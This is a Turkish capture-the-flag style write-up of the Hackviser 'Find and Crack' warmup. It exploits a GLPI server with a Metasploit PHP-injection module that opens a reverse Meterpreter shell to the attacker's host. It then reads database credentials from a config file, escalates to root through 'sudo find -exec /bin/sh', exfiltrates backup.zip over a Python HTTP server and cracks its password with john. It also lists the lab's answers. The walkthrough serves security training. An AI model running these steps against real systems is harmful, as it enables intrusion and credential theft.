

FIND AND CRACK WRITE-UP

Bugünkü yazımda Hackviser platformu üzerinde bulunan Find and Crack isimli warmup'ın çözümünü anlatacağım. Bu ısınmayı çözebilmemiz için bize verilen komutu /etc/hosts dosyasına ekliyoruz ve başlıyoruz.

SORU 1: Kullanılan BT Varlık Yönetimi ve hizmet masası sistemi yazılımının adı nedir?

Sitemize erişim sağlayıp giriyoruz.

[IT Management](#)

tıkladıktan sonra cevap URL üzerinde

172.20.7.185/glpi/

Cevap: glpi

SORU 2: Veritabanına bağlanmak için kullanılan kullanıcı adı nedir?

Elimizde glpi diye bir yazılım ismi var. Bu yüzden burası ile ilgili bir açık var mı yok mu diye msfconsole ile metasploit framework'e bağlanıp aramalar yapacağım.

```
msf6 > search glpi

Matching Modules
=====
#  Name
-  -
0  exploit/linux/http/glpi_htmlawed_php_injection  Disclosure Date  Rank  Check  Description
1  \_ target: Nix Command  .  .  .  .
2  \_ target: Linux (Dropper)  .  .  .  .
3  exploit/multi/http/glpi_install_rce  2013-09-12  manual  Yes  GLPI install.php Remote Command Execution
```

Bir açık mevcutmuş. Şimdi bu kısmı biraz inceleyelim. Biraz daha ileri gidip Shell almayı deneyelim.

```
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run

[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set LHOST 10.8.9.164
LHOST => 10.8.9.164
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run

[*] Started reverse TCP handler on 10.8.9.164:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Nix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24772 bytes) to 172.20.7.185
[*] Meterpreter session 1 opened (10.8.9.164:4444 -> 172.20.7.185:35628) at 2024-10-08 18:14:34 +0300
shell

meterpreter > shell
Process 701 created.
Channel 1 created.
whoami
www-data
```

Başarılı bir şekilde Shell almayı başardık. Şimdi veritabanı ile bilgi istiyor. Bu yüzden config dosyası var mı yok mu onu kontrol edip içeriğini okuyup cevaba ulaşmaya çalışacağım.

```
www-data@debian:/var/www/html/glpi/config$ cat config_db.php
cat config_db.php
<?php
class DB extends DBmysql {
    public $dbhost = 'localhost';
    public $dbuser = 'glpiuser';
    public $dbpassword = 'glpi-password';
    public $dbdefault = 'glpi';
    public $use_timezones = true;
    public $use_utf8mb4 = true;
    public $allow_myisam = false;
    public $allow_datetime = false;
    public $allow_signed_keys = false;
}
```

/var/html/glpi/config klasörü içerisinde config_db.php dosyasını buldum ve içeriğini gösterdiğimizde cevaba ulaşmış olduk.

Cevap: **glpiuser**

SORU 3: Hangi komut sudo ayrıcalıkları ile çalıştırılabilir?

Bu sorunun cevabını bulabilmek için “*sudo -l*” komutunu çalıştıralım.

```
/usr/bin/mount
www-data@debian:/var/www/html/glpi/config$ sudo -l
sudo -l
Matching Defaults entries for www-data on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /bin/find
```

Burada **find** komutunu kullanabileceğimizi görüyoruz.

SORU 4: backup.zip parolası nedir?

Backup.zip dosyasının nerede olduğunu bulmak için biraz gezelim.

```
www-data@debian:/home$ cd lost+found
cd lost+found
bash: cd: lost+found: Permission denied
```

Burada /home dizini altında lost+found dizinine giremediğimi gördüm. O yüzden artık yetki yükseltmem gerekiyor. Kullanacağımız komut da find komutu. Hadi başlayalım.

[GTFOBins](#) sayfası üzerinde find komutu için yetki yükseltme yolları arasında:

“*sudo find . -exec /bin/sh \; -quit*” komutunu buldum ve denedim.

```
$ sudo find . -exec /bin/sh \; -quit
sudo find . -exec /bin/sh \; -quit
# whoami
whoami
root
```

ARTIK ROOT KULLANICISIYIZ 😊

```
root@debian:~# ls
ls
backup.zip
```

Root dizini içerisinde dosyamızı buldum. Şimdi bunu ana makinemize indirmemiz gerek. Bu yüzden geçici bir sunucuyu hedef makinede açıyoruz ve Google tarayıcısı üzerinden gidiyoruz.(kodumuz: python3 -m http.server 1234)

← → ↻ ⚠ Not secure 172.20.7.185:1234

Directory listing for /

- [.bash_history](#)
- [.bashrc](#)
- [backup.zip](#)

Şimdi indiriyoruz. Elimizde zip dosyası var ve şifrenin ne olduğunu bilmiyoruz. Bunun için john aracı ile şöyle bir yöntem uygulayacağım.

Öncelikle zip dosyasının hash değerini hash.txt içerisine kaydediyoruz.

```
(root@kali) - [/home/kali/Downloads]
# zip2john backup.zip > hash.txt
ver 2.0 efh 5455 efh 7875 backup.zip/monitors.csv PKZIP Encr: TS_chk, cmplen=115, decmplen=256, crc=063C24FE ts=B320 cs=b320 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/computers.csv PKZIP Encr: TS_chk, cmplen=563, decmplen=1817, crc=B96E8061 ts=B312 cs=b312 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/network-devices.csv PKZIP Encr: TS_chk, cmplen=149, decmplen=332, crc=C1C11408 ts=B325 cs=b325 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/printers.csv PKZIP Encr: TS_chk, cmplen=144, decmplen=326, crc=2457D641 ts=B329 cs=b329 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
```

Daha sonra hash değerini çözmek için yine john aracını kullanıyorum.

```
(root@kali) - [/home/kali/Downloads]
# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
asdf;lkj (backup.zip)
1g 0:00:00:00 DONE 2/3 (2024-10-08 18:36) 12.50g/s 989000p/s 989000c/s 989000C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Burada zip dosyasının şifresine ulaşmış olduk.

Cevap: asdf;lkj

SORU 5: Kimin madencilik yaptığından şüpheleniliyor?

Şimdi şifreyi deneyerek dosyaları zipten çıkaralım ve tek tek dosyaların içeriğini kontrol edelim.

```
(root@kali)-[/home/kali/Downloads]
# cat computers.csv
"Name";"Alternate Username";"Status";"Manufacturers";"Types";"Model";"Operating System - Name";"Comments";"Locations";
"Administration-001";"Bertha Hobbs";"out of use";"Dell";"Laptop";"Vostro 15";"Windows";"";"HQ";
"Administration-002";"Mina Bennett";"in use";"Dell";"Laptop";"Vostro 15";"Windows";"";"HQ";
"Administration-003";"Peter Mcmillan";"in use";"Dell";"Laptop";"Vostro 15";"Windows";"";"HQ";
"Administration-004";"Marley Wilkerson";"in use";"Dell";"Laptop";"Vostro 15";"Windows";"";"HQ";
"Dev-Team-001";"Cameron Acevedo";"in use";"Apple";"Laptop";"Macbook Pro 16";"macOS";"";"Branch Griffy";
"Dev-Team-002";"Zoya Li";"in use";"Apple";"Laptop";"Macbook Pro 16";"macOS";"";"Branch Griffy";
"Dev-Team-003";"Aamina Pratt";"in use";"Apple";"Laptop";"Macbook Pro 16";"macOS";"";"Branch Griffy";
"IT-0001";"Sahar Wright";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"";"HQ";
"IT-0002";"Lexie Webb";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"";"HQ";
"IT-0003";"Abbey Berry";"out of use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"faulty device";"HQ";
"IT-0004";"Ethan Friedman";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"suspicious. he may be mining";"HQ";
"IT-0005";"Syeda Cortez";"in use";"Lenovo";"Laptop";"Thinkpad 14";"Linux";"";"HQ";
"Legal-001";"Dewey Gordon";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"low cyber security awareness";"HQ";
"Sales-001";"Darcey Stephenson";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"";"Branch Griffy";
"Sales-002";"Emilie Rosario";"in use";"HP";"Laptop";"Pavilion 16";"Windows";"";"Branch Griffy";
"Sales-003";"Oliwia Wheeler";"out of use";"HP";"Laptop";"Pavilion 16";"Windows";"low cyber security awareness";"Branch Griffy";
"test-1";"";"";"";"";"";"";"";"unknown";
"test-2";"";"";"";"";"";"";"";"unknown";
"test-3";"";"";"";"";"";"";"";"unknown";
```

Burada **Ethan Friedman** adlı kişi "He may be mining." Cümlesinden cevabı buluyoruz.